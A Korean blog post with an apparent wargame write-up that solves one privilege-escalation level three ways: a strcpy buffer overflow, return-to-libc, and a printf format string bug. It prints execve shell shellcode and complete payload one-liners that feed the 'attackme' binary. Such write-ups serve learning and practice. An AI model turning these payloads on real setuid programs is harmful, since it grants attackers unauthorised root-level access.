Jastes 2022. 8. 11. 10:40

keyword : strcpy bof
keyword : printf Format String
keyword : NOP


level11 - Write Up(NOP)

ํžŒํŠธ๊ฐ€ ์ฝ”๋“œ๋„ค์š”... ์œ„ ์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด argv๋ผ๋Š” main์ธ์ž์˜ ๊ฐ’์„ ๋ฐ›์•„์„œ ์ถœ๋ ฅํ•˜๋„ค์š”
setreuid๊ฐ€ ์žˆ๊ธฐ์— level12๋กœ ํ–ฅํ•˜๋Š” ๋น„๋ฒˆ์˜ ๊ถŒํ•œ์„ ์ทจ๋“ํ•  ์ˆ˜ ์žˆ๋‹ต๋‹ˆ๋‹ค.

BOF์— ์ทจ์•ฝํ•œ ๋Œ€ํ‘œ์ ์ธ ํ•จ์ˆ˜๊ฐ€ strcpy์ด๋‹ˆ๊นŒ bof๋กœ main์˜ ret๋ฅผ ์กฐ์ž‘ํ•˜๋ฉด ๋˜๊ฒ ๋„ค์š”
์ฐธ๊ณ ๋กœ ์ € ํ•จ์ˆ˜์—์„œ bof ์ทจ์•ฝ์ ์„ ๋ง‰์„๋ ค๋ฉด strncpy๋กœ ํ•˜๋ฉด ๋˜์š” ใ…Ž

๊ทธ๋Ÿผ ๋ฆฌ๋ฒ„์‹ฑ์œผ๋กœ ํ™•์ธํ•ด๋ณผ๊นŒ์š”?

์Œ.. ๋ณด์‹œ๋ฉด ํ”„๋กค๋กœ๊ทธ๊ฐ€ ์œ„์™€ ๊ฐ™์ด ๋‚˜์™€์žˆ์œผ๋ฉฐ, <main+3>์˜ ์–ด์…ˆ ์ฝ”๋“œ๊ฐ€ $0x108, %esp๋กœ์จ
์•„๊นŒ ์ฝ”๋“œ์—์„œ ๋ณธ char str[256]์˜ ํฌ๊ธฐ๋ฅผ ์ €๋ ‡๊ฒŒ esp๋กœ์จ ๊ณต๊ฐ„ ํ• ๋‹นํ•œ๊ฑฐ๋„ค์š”

0x108๋ฅผ ๋ณ€ํ™˜ํ•˜๋ฉด.. 264byte๋กœ ๋‚˜์˜ค๋„ค์š”
๊ทธ๋ž˜์„œ ์‹ค์ œ๋กœ ์ž…๋ ฅํ•œ buf๊ฐ’๊ณผ ํฌ๊ธฐ๊ฐ€ ๋‹ค๋ฅผ ์ˆ˜ ์žˆ์œผ๋‹ˆ๊นŒ ํ•ญ์ƒ ํ™•์ธ ใ„ฑใ„ฑ

์—ฌ๊ธฐ์„  ๋ชจ๋“ˆ.. ์ด๋ผ๋Š”๊ฒŒ ๋”ฑํžˆ ์„ค์น˜ ์•ˆ๋˜์–ด ์žˆ๋Š”๊ฑฐ ๊ฐ™์œผ๋‹ˆ๊นŒ ๋ฐ”๋กœ shellcode๋ฅผ ์ฐพ์•„์„œ ๋„ฃ์–ด๋ด…์‹œ๋‹ค.
์ฐธ๊ณ ๋กœ shellcode(268byte; buf[264]+sfp[4]) + ret(4byte)๋กœ ํ•˜๋ฉด ๋˜๊ฒ ์ฃ ?
์ฐธ๊ณ ๋กœ ์œ„์— ์žˆ๋Š” strcpy์˜ ๋ฐ˜ํ™˜๊ฐ’ ์ฆ‰, ret๋ฅผ ๋„ฃ์œผ๋ฉด ๋˜๊ฒ ์ฃ ?(๊ฑฐ๊ธฐ์—์„œ ์‰˜ ์ฝ”๋“œ๋ฅผ ๋„ฃ์–ด์ค„๊ฑฐ๋‹ˆ๊นŒ..)

 

Offensive Security’s Exploit Database Archive

 

www.exploit-db.com

์—ฌ๊ธฐ์„œ shellcode๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์–ด์š”.. ๊ทผ๋ฐ ๋ณด๋‹ˆ๊นŒ ๋ญ ์šฐ๋ฆฌ๊ฐ€ ์›ํ•˜๋Š” 264byte ํฌ๊ธฐ์˜
shellcode๋Š” ์—†์œผ๋‹ˆ๊นŒ(์ž˜ ์•ˆ ์ฐพ์•„๋ดค๋‹ค๋งŒ..) dummy๋ฅผ ์ฑ„์›Œ์„œ ํ•ด์•ผ๊ฒ ๋„ค์š”

๊ทผ๋ฐ ๋ฌธ์ œ๋Š” ์ €๊ธฐ์— ์žˆ๋Š” ์‰˜ ์ฝ”๋“œ๋“ค์ด ์ž˜ ์•ˆ ํ†ตํ•˜๋„ค์š”.. ๊ทธ๋ž˜์„œ ๊ตฌ๊ธ€๋ง์„ ๋˜ ํ•˜๊ฒŒ ๋ฌ์ฃ 
๊ทธ๋Ÿฌ๋ฉด์„œ ์‰˜ ์ฝ”๋“œ ๋ชจ์•„๋†“์€ ์ •๋ฆฌ๋œ ๋ธ”๋กœ๊ทธ๋ฅผ ์˜ฌ๋ ค๋“œ๋ฆด๊ป˜์š”

 

์‰˜์ฝ”๋“œ ๋ฉ”๋ชจ

32bit (1)๊ฐ€์žฅ ๊ธฐ๋ณธ์ ์œผ๋กœ ์‰˜์„ ๋„์šฐ๋Š” ์ฝ”๋“œ \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80 \x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe..

blog.kimtae.xyz

25byte shellcode
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

์ž.. ์ €๊ธฐ์— ๊ฐ€์žฅ ๊ธฐ๋ณธ์ ์œผ๋กœ ์‰˜์„ ๋„์šฐ๋Š” ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•ด๋ด…์‹œ๋‹ค.

์ฐธ๊ณ ๋กœ ์ €๋Š” ๋” ์ž์„ธํžˆ ์–ด์…ˆ์ด ์•ˆ ๋˜๋”๋ผ๊ณ ์š”...
์ด๊ฑด.. ๋ฌด์Šจ;; ์ด์ „ level10์ด๋ž‘ ๋˜‘๊ฐ™์€ ๋ฌธ์ œ ๊ฐ™์•„์„œ tmp๋กœ ๋ณต์‚ฌํ•ด์„œ ์ง„ํ–‰ํ•ด์•ผ๊ฒ ๋„ค์š” ํ•˜..

์งœ๋ž€! ์ด์ œ ๋  ๊ฑฐ์˜ˆ์š” ๊ทธ๋Ÿผ ํ•œ ๋ชจ์Šต์„ ์„ค๋ช…ํ•˜๊ธฐ๋ณด๋‹จ ์บก์ฒ˜ํ•œ ๋ชจ์Šต์„ ๋‚˜์—ดํ•ด์„œ ๋ณด์—ฌ๋“œ๋ฆด๊ป˜์š”
์•„๋งˆ ๊ธˆ๋ฐฉ ์ดํ•ด๋˜์‹ค ๊ฑฐ์˜ˆ์š”

01
์ฐธ๊ณ ๋กœ 2๋ฒˆ์งธ๋Š” ์•„๋ฌด๋ ‡๊ฒŒ๋‚˜ ๋„ฃ์–ด๋„ ์ƒ๊ด€ ์—†๋Š”๊ฒŒ.. ์–ด์งœํ”ผ esp ์œ„์น˜ ์ฐพ๋Š”๊ฑฐ๋ผ์„œ ํžˆํžˆ

`python -c 'print "\x90"*243 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "AAAA"'`

์ž.. ์œ„์™€ ๊ฐ™์ด ํ–ˆ์–ด๋„ ์•„๋งˆ ์•ˆ๋ ๊ฑฐ์˜ˆ์š” ๋ฐ”๋กœ ASLR์ด ๊ฑธ๋ ค์žˆ๊ฑฐ๋“ ์š”..
ํ•˜.. ์–ด์ฉ์ง€ ๊ณ„์† ๋ฐ”๋€Œ๋”๋ผ ํ›„.. ๊ทผ๋ฐ ๋ฐ˜๋ณต๋ฌธ์œผ๋กœ ๊ณ„์† ๋Œ๋ ค๋ณด์‹œ๋ฉด ์–ธ์  ๊ฐ€ ๋ ์ง€๋„ ใ…‹ใ…‹ใ…‹
๊ทธ๋ ‡๊ฒŒ ํ’€ ์ˆ˜๋„ ์žˆ๋Š”๋ฐ ๋น„์ถ”๊ธด ํ•ด์š”


level11 - Write Up(RTL)

ASLR์˜ ๊ด€ํ•œ ๋‚ด์šฉ๊ณผ ์šฐํšŒ ๋ฐฉ๋ฒ•์€ ์•„๋ž˜ ๋‘ ๊ฐœ์˜ ๋งํฌ์—์„œ..

 

Mitigation: NX & ASLR

์‹œ์Šคํ…œ ๋ณด์•ˆ์€ ์ง€๋‚œ ์ˆ˜๋…„๊ฐ„ ๋ฐœ์ „ํ•ด์˜จ ๊ณต๊ฒฉ ๊ธฐ๋ฒ•๊ณผ ๋ณดํ˜ธ ๊ธฐ๋ฒ•์˜ ๋ฐœ์ „ ์–‘์ƒ์„ ๋ณด์‹œ๋ฉด.. ์–ด๋–ค ๋ณดํ˜ธ ๊ธฐ๋ฒ•์ด ๋“ฑ์žฅํ•˜๋ฉด ์šฐํšŒ ๊ธฐ์ˆ ๋„ ๋“ฑ์žฅํ•ฉ๋‹ˆ๋‹ค.. ์ด๋ ‡๊ฒŒ ์–ด๋–ค ๊ณต๊ฒฉ์ด ์˜ฌ์ง€ ๋ชจ๋ฅด๊ธฐ์— ์‹œ์Šคํ…œ ๊ฐœ๋ฐœ์ž๋“ค

dystopia050119.tistory.com

 

Background: Library - Static Link vs. Dynamic Link

๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๐Ÿ“š ์—ฌ๋Ÿฌ ์ปดํŒŒ์ผ ์–ธ์–ด๋“ค์€ ์ž์ฃผ ์‚ฌ์šฉ๋˜๋Š” ํ•จ์ˆ˜๋“ค์˜ ์ •์˜๋ฅผ ๋ฌถ์–ด์„œ ํ•˜๋‚˜์˜ lib ํŒŒ์ผ๋กœ ์ƒ์„ฑ ์ด๋ฅผ ์—ฌ๋Ÿฌ ํ”„๋กœ๊ทธ๋žจ์ด ๊ณต์œ ํ•ด์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋„๋ก ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๊ฐ™

dystopia050119.tistory.com

์ธ์ž์— ๋„ฃ๋Š” ๋ถ€๋ถ„์„ RET๋ฅผ ์šฐํšŒํ• ๋ ค๊ณ  ํ–ˆ์œผ๋‚˜.. ASLR์ด ๊ฑธ๋ ค์žˆ๊ธฐ์— RTL๋กœ ํ•ด์•ผ๊ฒ ์ฃ 

ldd์˜ ๋ช…๋ น์–ด์™€ nm ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ(gdb ํˆด์ด ์ œ๊ฐ€ ์“ฐ๋˜๋ฐ๋กœ ์ปค์Šคํ…€์ด ์•ˆ๋˜์–ด ์žˆ์–ด์„œ ใ… )
์œ„์™€ ๊ฐ™์ด ์‚ฌ์šฉํ•˜๋ฉด. 0x4203f2c0์œผ๋กœ ์œ„์น˜๋ฅผ ํ™•์ธ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.(__libc_..๋ž‘ ์œ„์น˜๊ฐ€ ๊ฐ™๊ฒ ์ฃ ?)

ldd ๋ช…๋ น์–ด

nm ๋ช…๋ น์–ด

์ž.. ๊ทธ๋Ÿผ ๋„ฃ์–ด์„œ ํ™•์ธ์„ ํ•ด๋ด…์‹œ๋‹น

๊ทธ ์ „์— RTL์ด๋‹ˆ๊นŒ ํ•ด๋‹น system ๋ฌธ์ž์—ด์— ๋“ค์–ด๊ฐˆ ์ˆ˜ ์žˆ๋Š” ๋ฌธ์ž์—ด ์ฆ‰, binsh์˜ ๋ฌธ์ž์—ด๋„ ์ฃผ์†Œ๋ฅผ ํ™•์ธํ•ด์„œ ๋„ฃ๊ฑฐ๋‚˜,
์ž…๋ ฅํ•ด์„œ ๋„ฃ์–ด์•ผ๊ฒ ์ฃ .. ์ •๋ง ์‰ฝ๊ฒŒ ๊ฐ€๋Š” ๋ฒ•์ด ์—†๋„ค์š” ใ… 

์ž.. strings๋ผ๋Š” ๋ช…๋ น์–ด๋„ ์‚ฌ์šฉํ• ๊ป˜์š” ์‚ฌ์šฉ๋ฒ•์€ ์œ„์— ๋ช…์‹œ๋˜์–ด ์žˆ์œผ๋‹ˆ๊นŒ ์ฐธ๊ณ  ๋ฐ”๋ž˜์š”

์ฐธ๊ณ ๋กœ libc๊ฐ€ ๋˜‘๊ฐ™์€๊ฑฐ ์“ฐ๋‹ˆ๊นŒ..(0x42๊ฐ€ ์ƒ๋žตํ–ˆ๋„ค? 4byte๊ฐ€ ์žˆ์–ด์•ผํ•˜๋‹ˆ๊นŒ ใ…Ž) 0x42127ea4๊ฒ ์ฃ !!
์ž.. ๊ทธ๋Ÿผ ๋‹ค ๋๋‚ฌ์ฃ 

exploit code ํ˜•์‹
dummy(268{buf[264] + sfp[4]}) + system_addr(8) + dummy(4) + Binsh(4)

์™œ ์ €๋Ÿฐ ์‹์œผ๋กœ ๊ตฌ์„ฑ๋˜๋Š”์ง€๋Š”.. ์•„๋ž˜ ๋งํฌ์—์„œ ํ™•์ธํ•ด์ฃผ์„ธ์š”
๊ทผ๋ฐ Canary๋„ ํฌํ•จ๋˜์–ด ์žˆ์–ด์„œ.. ์ฃ„์†กํ•ด์š” ๋„ˆ๋ฌด ์ง€์ณ์„œ ใ… 

 

Exploit Tech: Return to Library

Return To Library NX๋กœ ์ธํ•ด ๊ณต๊ฒฉ์ž๊ฐ€ ๋ฒ„ํผ์— ์ฃผ์ž…ํ•œ ์…ธ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ๋Š” ์–ด๋ ค์›Œ์กŒ์ง€๋งŒ, ์–ด์ „ํžˆ BOF๋Š” ๊ฐ€๋Šฅ! ๊ทธ๋ž˜์„œ ๊ณต๊ฒฉ์ž๋“ค์€ ์‹คํ–‰ ๊ถŒํ•œ์ด ๋‚จ์•„์žˆ๋Š” ์ฝ”๋“œ ์˜์—ญ์œผ๋กœ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ฎ๋Š” ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์„

dystopia050119.tistory.com

๋ฐ‘์— ์ž๋ฃŒ๋Š” ROP ํ˜น์€ Chaining RTL์˜ ๋ฐฉ์‹์œผ๋กœ๋„ ๋˜๋Š”๋ฐ ์‹ฌ์ ์œผ๋กœ ์–ด์ง€๋Ÿฌ์›Œ์„œ ใ… 

 

Exploit Tech: Return Oriented Programming

Return Oriented Programming ROP : ๋ฆฌํ„ด ๊ฐ€์ ฏ์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ณต์žกํ•œ ์‹คํ–‰ ํ๋ฆ„์„ ๊ตฌํ˜„ํ•˜๋Š” ๊ธฐ๋ฒ•  ๊ณต๊ฒฉ์ž๋Š” ์ด๋ฅผ ์ด์šฉํ•ด ๋ฌธ์ œ ์ƒํ™ฉ์— ๋งž์ถฐ RTL/Return to dl-resolve/GOT overwrite ๋“ฑ์„ ์ด์šฉํ•ด ํŽ˜์ด๋กœ๋“œ๋ฅผ ๊ตฌ์„ฑํ•ฉ..

dystopia050119.tistory.com

๊ทธ๋Ÿผ ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด...

./attackme `python -c 'print "\x90"*268 + "\xc0\xf2\x03\x42" + "\x90"*4 + "\xa4\x7e\x12\x42"'`

์Œ.. level12๊ฐ€ ๋˜์•ผํ•˜๋Š”๋ฐ.. ์•ˆ๋˜๋„ค์š”??
์•„๋งˆ๋„ setUID๊ฐ€ ์•ˆ๋œ๊ฑฐ ๊ฐ™์€๋ฐ tmp๋ผ์„œ ๊ทธ๋Ÿฐ๊ฑฐ ๊ฐ™๋„ค์š” ๋‚˜์™€์„œ ๊ถŒํ•œ ํ™•์ธ์„ ํ•ด๋ณด๋ฉด..

์‚ฌ์šฉ์ž ๊ณ„์ •์ด ๋‹ค๋ฅธ ๊ฑธ ํ™•์ธํ•  ์ˆ˜ ์žˆ์ฃ  ๊ทธ๋Ÿฌ๋ฉด level12๊ฐ€ ๋˜์–ด ์žˆ๋Š” attackme์— ์ ‘๊ทผํ•ด์„œ ์ฝ”๋“œ๋ฅผ ์ ์šฉํ•˜๋ฉด..

level12 : it is like this


level11 - Write Up(FSB)

์œ„์™€ ๊ฐ™์ด printf์— ๊ด€ํ•œ format์˜ ์„ค์ •์„ ํ•˜๋‚˜๋„ ์ง€์ •์„ ์•ˆ ํ–ˆ๊ธฐ์— ์ทจ์•ฝํ•˜๋‹ต๋‹ˆ๋‹ค.
์ฐธ๊ณ ๋กœ ํ•ด๋‹น ์ทจ์•ฝ์ ์€ C๊ณ„์—ด์—์„œ ์ฃผ๋กœ ๋ฐœ์ƒ๋˜๋ฉฐ, ์›์ธ์€ ํ”„๋กœ๊ทธ๋ž˜๋จธ์˜ ์‹ค์ˆ˜์ž…๋‹ˆ๋‹น

์ธ์ž๋ฅผ ๋ฌด์—‡์œผ๋กœ ์ถœ๋ ฅํ• ๊ฑด์ง€ ํ•ด๋‹น ์ง€์ •์„ ์•ˆ ํ–ˆ๊ธฐ์— ์šฐ๋ฆฌ๊ฐ€ ์ž„์˜๋กœ ์ง€์ •ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์ด๊ฒ ์ฃ 
๊ทธ๋Ÿผ ๋ฐ”๋กœ ์‹ค์Šต์œผ๋กœ ๋„˜์–ด๊ฐˆ๊นŒ์š”? ์„ค๋ช…์€ ์œ„์—์„œ ๋‹ค ํ–ˆ์œผ๋‹ˆ๊นŒ

์œ„์™€ ๊ฐ™์ด ์ง€์ •์„ ์•ˆ ํ•ด์ค€๋‹ค๋ฉด ์ €ํฌ๊ฐ€ ์ง€์ •ํ•œ format์˜ ํ˜•์‹์— ๋”ฐ๋ผ ์ถœ๋ ฅํ•œ๋‹ค๋Š” ๊ฑธ ํ™•์ธ
๊ทธ๋Ÿฌํ•˜๋‹ค๋ฉด ์ €ํฌ์˜ ์ƒํ™ฉ์— ๋งž๊ฒŒ ์ •๋ณด๋ฅผ ๊ตฌํ•ด๋ณผ๊นŒ์š”

๊ทธ๋Ÿฌํ•˜๋‹ค๋ฉด printf์˜ function์˜ ์ข…๋ฅ˜ ์ค‘์—์„œ ์ด๋Ÿฌํ•œ ์˜ค๋ฅ˜๊ฐ€ ์ด๋Ÿฌ๋‚˜๋Š” ์ด์œ ๊ฐ€ ๋ญ˜๊นŒ์š”?
๋ฐ”๋กœ printf์˜ ํ•จ์ˆ˜๊ฐ€ ํฌ๋งท ์ŠคํŠธ๋ง์˜ ์„œ์‹ ์ง€์ •์ž์˜ ๊ฐœ์ˆ˜๋ฅผ ํ™•์ธ X ์ด๊ธฐ ๋•Œ๋ฌธ์ด์ฃ 

์ฆ‰, printf์˜ ํฌ๋งท ์ŠคํŠธ๋ง์— ๋Œ€ํ•œ ๋ชจ๋“  ์ธ์ž๊ฐ€ ์ „๋‹ฌ๋œ๋‹ค๋Š” ๊ฐ€์ •ํ•˜์— ์‹คํ–‰๋˜๊ธฐ์— ์Šคํƒ์— ๊ฐ’์„ ์ฐพ๊ณ  ์ถœ๋ ฅ
์ด๋Ÿฌํ•œ ํ˜•์‹์œผ๋กœ ์ถœ๋ ฅ๋˜๊ธฐ์— ์œ„ํ—˜ํ•œ ์ทจ์•ฝ์ ์ด๊ฒ ์ฃ 

Format String Bug; FSB Tip
%x์™€ %n์ด ๊ฐ€์žฅ ๋ณดํŽธ์ ์œผ๋กœ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. 
%x : 16์ง„์ˆ˜๋กœ ์ถœ๋ ฅโ”‚%n : ์ž์‹ ์ด ๋‚˜์˜ค๊ธฐ ์ „๊นŒ์ง€์˜ ๋ฌธ์ž๋ฅผ ์ฝ๊ธฐ & ์ž์‹ ์ด ๊ฐ€๋ฅดํ‚ค๋Š” ์ฃผ์†Œ์— ์ €์žฅ
์œ„ ๋‘๊ฐ€์ง€๋ฅผ ํ†ตํ•ด ํ•ด๋‹น ์ฃผ์†Œ์˜ ์œ„์น˜์™€ ๋ช…๋ น์–ด(Exploit Code) ์‚ฝ์ž… ๋“ฑ์ด ๊ฐ€๋Šฅํ•˜์ฃ 

์ฐธ๊ณ ๋กœ %Nc(or %N$c๋กœ ๋˜์•ผํ•˜๋Š”๋ฐ ์•ˆ๋˜๋„ค;;)๋กœ N์˜ ๊ฐ’๋งŒํผ ์ฝ์–ด๋“œ๋ฆด ์ˆ˜๋„ ์žˆ์–ด์š”

๋ฌผ๋ก  ๋‹ค์–‘ํ•œ ๋ฐฉ์‹์œผ๋กœ๋„ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•˜๋‹ต๋‹ˆ๋‹ค(%p ๋“ฑ์ด ์žˆ์ฃ )

์ด๋Ÿฐ ์‹์œผ๋กœ 4๋ฒˆ์งธ ์ธ์ž์— ์šฐ๋ฆฌ๊ฐ€ ๋„ฃ์—ˆ๋˜ ๋ฌธ์ž AAAA๊ฐ€ ์ถœ๋ ฅ๋œ๋‹ค๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๊ทธ๋Ÿผ ํ•ด๋‹น ์ธ์ž๊ฐ€ ์–ด๋””๊นŒ์ง€ ๋ฐ›์•„๋“œ๋ฆฌ๋Š”์ง€๋„ ํ™•์ธํ•ด๋ด…์‹œ๋‹ค.

์œ„ ์ด๋ฏธ์ง€๋ฅผ ๋ณด์‹œ๋ฉด 4๋ฒˆ์งธ์— ์ธ์ž ์ดํ›„์—๋Š” ๊ณ„์† ๊ฐ™์€ ๋‚ด์šฉ์ด ๋ฐ˜๋ณต๋œ๋‹ค๋Š” ์ ์„ ํ™•์ธ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๊ทธ๋Ÿฌ๊ธฐ์— 4๋ฒˆ์งธ ์ธ์ž๊ฐ€ ์‹คํ–‰๋˜๋Š” ๊ถŒํ•œ์œผ๋กœ์จ ret์˜ ์ฃผ์†Œ์˜ ์œ„์น˜๋กœ์จ ํ™œ์šฉํ•œ๋‹ค๋ฉด..
level12๋กœ ๊ถŒํ•œ ์ƒ์Šนํ•  ์ˆ˜ ์žˆ๊ฒ ์ฃ !(ํ•ด๋‹น ์ฃผ์†Œ๋กœ shellcode๋ฅผ ์‹คํ–‰์‹œํ‚จ๋‹ค๋ฉด level12๋กœ ์‹คํ–‰๋ ๊ฑฐ๋‹ˆ๊นŒ)

๊ทธ๋Ÿฌ๋ฉด ์–ด๋–ค ์‹์œผ๋กœ ๋ฉ”๋ชจ๋ฆฌ์— ์ ์žฌ๋˜๊ณ  ์–ด๋–ค ์‹์œผ๋กœ ํ•ดํ‚น์ด ์ง„ํ–‰ ๋˜๋Š”์ง€ ์งง๊ฒŒ ์•Œ์•„๋ณด๊ณ  ๋„˜์–ด๊ฐ‘์‹œ๋‹ค.
FSB์˜ ํ˜•์‹์€ ์–ด๋–ป๊ฒŒ ๋ ๊นŒ..

์œ„ ํ˜•์‹์„ ๋ณด์‹œ๋ฉด ์•Œ ์ˆ˜ ์žˆ์ง€๋งŒ printf์˜ ์ „ ๋‹จ๊ณ„์—์„œ ๋ธŒํฌ๋ฅผ ๊ฑธ๊ณ  ํ™•์ธ์„ ํ•œ ๋ชจ์Šต์ด๋ฉฐ,
์•„๋ž˜ ๋ฉ”๋ชจ๋ฆฌ ์˜ˆ์ƒ๋„๋ฅผ ๋ณด์‹œ๋ฉด์„œ ์„ค๋ช…์„ ์ด์–ด๊ฐ€์ž๋ฉด..

sfp(main์ชฝ์˜ EBP )
ret(main ์ชฝ)
break point
dummy
AAAA
sfp
ret

๋กœ์จ ๋ฉ”๋ชจ๋ฆฌ๊ฐ€ ๊ตฌ์„ฑ๋œ๋‹ค๊ณ  ์ถ”์ •ํ•  ์ˆ˜ ์žˆ๊ฒ ๋„ค์š” ๊ทธ๋Ÿฌํ•˜๋‹ค๋ฉด
ํ•ด๋‹น ์›ํ•˜๋Š” system(ํ˜น์€ ์‰˜ ์ฝ”๋“œ์˜) ์ฃผ์†Œ๋ฅผ ๋„ฃ๊ณ  ๋’ค์— ๋”๋ฏธ๊ฐ’์œผ๋กœ ํ•œ๋‹ค๋ฉด ์–ด๋–ป๊ฒŒ ๋ ๊นŒ์š”?

์˜ˆ์‹œ๋กœ ์ž„์˜์˜ ์ฃผ์†Œ์ธ 0xffeeddcc์— ๋’ค์— ์„œ์‹ ์ง€์ •์ž๋กœ์จ %n๊ณผ ๊ฐ™์€ ์„œ์‹์ง€์ •์ž๋ฅผ ๋„ฃ๋Š”๋‹ค๋ฉด
์›ํ•˜๋Š” ์ฃผ์†Œ์— ์žˆ๋Š” ์ฝ”๋“œ๊ฐ€ ์„ฑ๊ณต์ ์œผ๋กœ ์‹คํ–‰๋˜๊ฒ ์ฃ 

๋ฌผ๋ก  ๊ถŒํ•œ์ด ์ž„์˜์˜ ์ฃผ์†Œ์— ๋ญ ๋„ฃ์€ ๊ฒƒ๋„ ์—†๊ณ  ๊ถŒํ•œ์ด ์•ˆ๋˜์„œ ์—ด๋žŒ์ด ์•ˆ๋˜๋Š”๊ฑฐ ๊ฐ™์€๋ฐ
์ €๋Ÿฐ์‹์œผ๋กœ ๋‹ค์Œ์œผ๋กœ ๋„˜๊ฒจ๋„ ๋ฌธ์ œ ์—†์ด ์ž˜ ๋˜๋Š”๊ฑฐ ๊ฐ™์ฃ ?

๊ทธ๋Ÿผ FSB์— ๋Œ€ํ•˜์—ฌ ๋Œ€์ถฉ ์•ˆ ๊ฑฐ ๊ฐ™์œผ๋ฏ€๋กœ ์‹œ๋‚˜๋ฆฌ์˜ค๊ฐ€ ์•„๋ž˜์™€ ๊ฐ™๊ฒ ์ฃ 

  1. printf์—์„œ %๋ฌธ์ž(์„œ์‹์ง€์ •์ž)๋‹น ๋ฉ”๋ชจ๋ฆฌ๋Š” 4byte ๋’ค๋กœ ๊ฐ€์„œ ๋ฐ์ดํ„ฐ๋ฅผ ์ฝ์–ด ์ฒ˜๋ฆฌํ•จ
  2. %n์„ ์‚ฌ์šฉํ•˜๋ฉด ์ผ์–ด์˜จ ๊ฐ’์„ ์ถœ๋ ฅํ•จ
  3. %Nc๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด N ๋งŒํผ ์ถœ๋ ฅ ๋ฌธ์ž ์ˆ˜๋ฅผ ๋งŒ๋“ฌ
  4. dtor ํ˜ธ์ถœ ์ฃผ์†Œ(๋’ค์— ์„ค๋ช…)๋ฅผ shellcode์˜ ์ฃผ์†Œ๋กœ ๋ณ€๊ฒฝ
    - dtor์™€ ๊ฐ™์€ ๊ฒฝ์šฐ๋Š” ๊ณ ์ •์ ์ธ ์œ„์น˜์—์„œ ๋ช…๋ น์–ด ์‹คํ–‰์ด๊ธฐ์— ์œ ์šฉํ•˜๊ฒŒ ์‚ฌ์šฉ๋˜๊ฒ ์ฃ 

๊ทธ๋Ÿผ ํ•ด๋‹น ์ฝ”๋“œ์— ์‰˜ ์ฝ”๋“œ๋ฅผ ๋ถˆ๋Ÿฌ๋“œ๋ ค์„œ ๊ทธ ์ฃผ์†Œ๋ฅผ ์ฐพ๊ณ  ํ™•์ธํ•ด๋ณผ๊นŒ์š”?
์œ„์— ์‰˜ ์ฝ”๋“œ ์ฃผ์†Œ ๋‚˜์™”์ฃ ? ํ™˜๊ฒฝ๋ณ€์ˆ˜์— ๋„ฃ์–ด์„œ ๊บผ๋‚ด๋Š” ํ˜•์‹์œผ๋กœ ํ•ฉ์‹œ๋‹ค

1
export Shellcode=$(python -'print("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80")')
cs

์ฐธ๊ณ ๋กœ ์ €๊ธฐ export Shellcode=$(..)์ด๋Ÿฐ์‹์œผ๋กœ = ์‚ฌ์ด์— ๊ณต๋ฐฑ์žˆ์œผ๋ฉด ์—๋Ÿฌ๋‚  ์ˆ˜ ์žˆ์œผ๋‹ˆ๊นŒ
์–ด์ง€๊ฐ„ํ•˜์‹œ๋ฉด ๋ถ™์—ฌ์„œ ์‚ฌ์šฉํ•˜์‹œ๋Š”๊ฒŒ ์ข‹์„ ๊ฑฐ ๊ฐ™์•„์š” ์ฐธ๊ณ  ์ž๋ฃŒ์—์„œ๋„ ๊ทธ๋Ÿฐ ์‹์œผ๋กœ ์„ค๋ช…ํ•˜๋„ค์š”

์ด๋Ÿฐ ์‹์œผ๋กœ ์ž…๋ ฅํ–ˆ์–ด์š”

์†”์งํžˆ env.. ์ฐพ๋Š๋ผ ์‚ฝ์งˆ ์•ฝ๊ฐ„ ํ–ˆ๋Š”๋ฐ
์ €ํฌ๊ฐ€ ๋„ฃ์€ Shellcode๊ฐ€ ๋ง‰ ๋ญ‰๊ฐœ์ ธ์žˆ๋„ค์š” ๊ทธ๋Ÿผ ์ฃผ์†Œ ํ™•์ธ์„ ์œ„ํ•ด์„œ..

1
2
3
4
5
6
7
8
9
10
11
12
//level11_Shellcode_addr_check
//
#include <stdio.h>
#include <stdlib.h>
 
int main(int* argc, char** argv[]){
        char *pathvar;
 
        pathvar = getenv("Shellcode");
        printf("pathvar addr : %p", pathvar);
}
 
cs

ํ™•์ธํ•ด๋ณด๋ฉด.. ์ฃผ์†Œ๊ฐ€ 0xbffffc20์ด๋„ค์š”!

๋งˆ์ง€๋ง‰์œผ๋กœ ์ด printf์˜ ๋๋‚˜๋Š” ret๊ฐ’์˜ ์ฃผ์†Œ๋งŒ ๊ตฌํ•˜๋ฉด ๋‹ค ๋๋‚˜๋„ค์š”

